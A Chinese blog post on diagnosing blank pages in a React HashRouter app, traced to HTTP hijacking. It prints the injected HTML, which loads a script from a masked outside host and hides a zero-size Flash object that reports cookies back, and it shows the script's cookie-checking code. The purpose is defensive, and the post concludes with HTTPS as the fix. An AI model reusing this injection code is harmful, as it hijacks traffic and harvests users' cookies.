网页不见了!记一次流量劫持问题的解决过程

2,206 阅读2分钟

这是我参与更文挑战的第 8 天,活动详情查看:更文挑战

问题分析

前段时间公司内部上线了一个 React 开发的项目。测试同事发现页面在多次刷新的时候会偶尔显示为空白页面。

截图.png 上图是正常情况和异常情况的对比图,我们会发现异常情况下我们的页面会加载会经历下面的步骤

  1. v2.html
  2. flash.js
  3. v2.html 在异常情况下,第一次 v2.html 的请求被劫持,返回的数据如下:
<html>
  <head>
    <script language="javascript">
      setTimeout('location.replace(location.href.split("#")[0])', 2000)
    </script>
    <script
      type="text/javascript"
      src="http://xxxx:89/cookie/flash.js"
    ></script>
    <script language="javascript">
      // 
      setURL('xxxx')
      supFlash('xxxx')
    </script>
  </head>
  <body>
    <object
      classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
      codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0"
      width="0"
      height="0"
      id="m"
      align="center"
      ><param name="allowScriptAccess" value="always" />
      <param name="movie" value="http://xxxx:89/cookie/flashcookie.swf" />
      <param name="quality" value="high" />
      <param name="FlashVars" value="srv=xxxx" />
      <embed
        src="http://xxxx:89/cookie/flashcookie.swf"
        FlashVars="srv=xxxx"
        quality="high"
        width="0"
        height="0"
        name="m"
        align="center"
        allowScriptAccess="always"
        type="application/x-shockwave-flash"
        pluginspage="http://www.macromedia.com/go/getflashplayer"
      />
    </object>
  </body>
</html>

上面xxxx用来屏蔽敏感信息

返回的 html 里有段 js 代码:setTimeout('location.replace(location.href.split("#")[0])', 2000), 这段代码会清除 url 上的 Hash 参数
另外 cookie/flash.js 里定义了 loadPage 函数,它同样会清除 url 上的 Hash 参数

function loadPage () {
  location.replace(location.href.split('#')[0])
}

这就导致 react-router 路由的 HashRouter 路径被清空。

cookie/flash.js

点击这里查看 cookie/flash.js 全部源码

function supFlash (cookie) {
  if (false === IsCanReport2Ac()) {
    loadPage()
    return
  }

  // 获取本地cookie值
  var td_cookie = getCookie('td_cookie')
  if (td_cookie == cookie) {
    loadPage()
    return
  }
  setCookie('td_cookie', cookie)

  var flash = 0
  var judgeIE = !-[1]
  var ua = navigator.userAgent.toLowerCase()
  if (ua.indexOf('taobrowser') > 0 || ua.indexOf('lbbrowser') > 0) {
    loadPage()
    return
  }
  var isIE = judgeIE || ua.indexOf('msie') > 0 || ua.indexOf('trident/7.0') > 0
  if (isIE) {
    try {
      var swf1 = new ActiveXObject('ShockwaveFlash.ShockwaveFlash')
      flash = 1
    } catch (e) {
      flash = 0
    }
  } else {
    try {
      var swf2 = navigator.plugins['Shockwave Flash']
      if (swf2 == undefined) {
        flash = 0
      } else {
        flash = 1
      }
    } catch (e) {
      flash = 0
    }
  }

  if (flash === 0) {
    loadPage()
    return
  }
}

cookie/flash.js 调用上面的 supFlash 函数来通过 flash 上报 cookie 信息,但是它用来干什么我们一无所知。

不可预期的 HTTP 劫持不仅影响页面展示,更会破坏服务的安全性。那我们该怎么解决这个问题呢?
Https 协议来加密报文防止中间人攻击应该是个不错的方案。

参考资料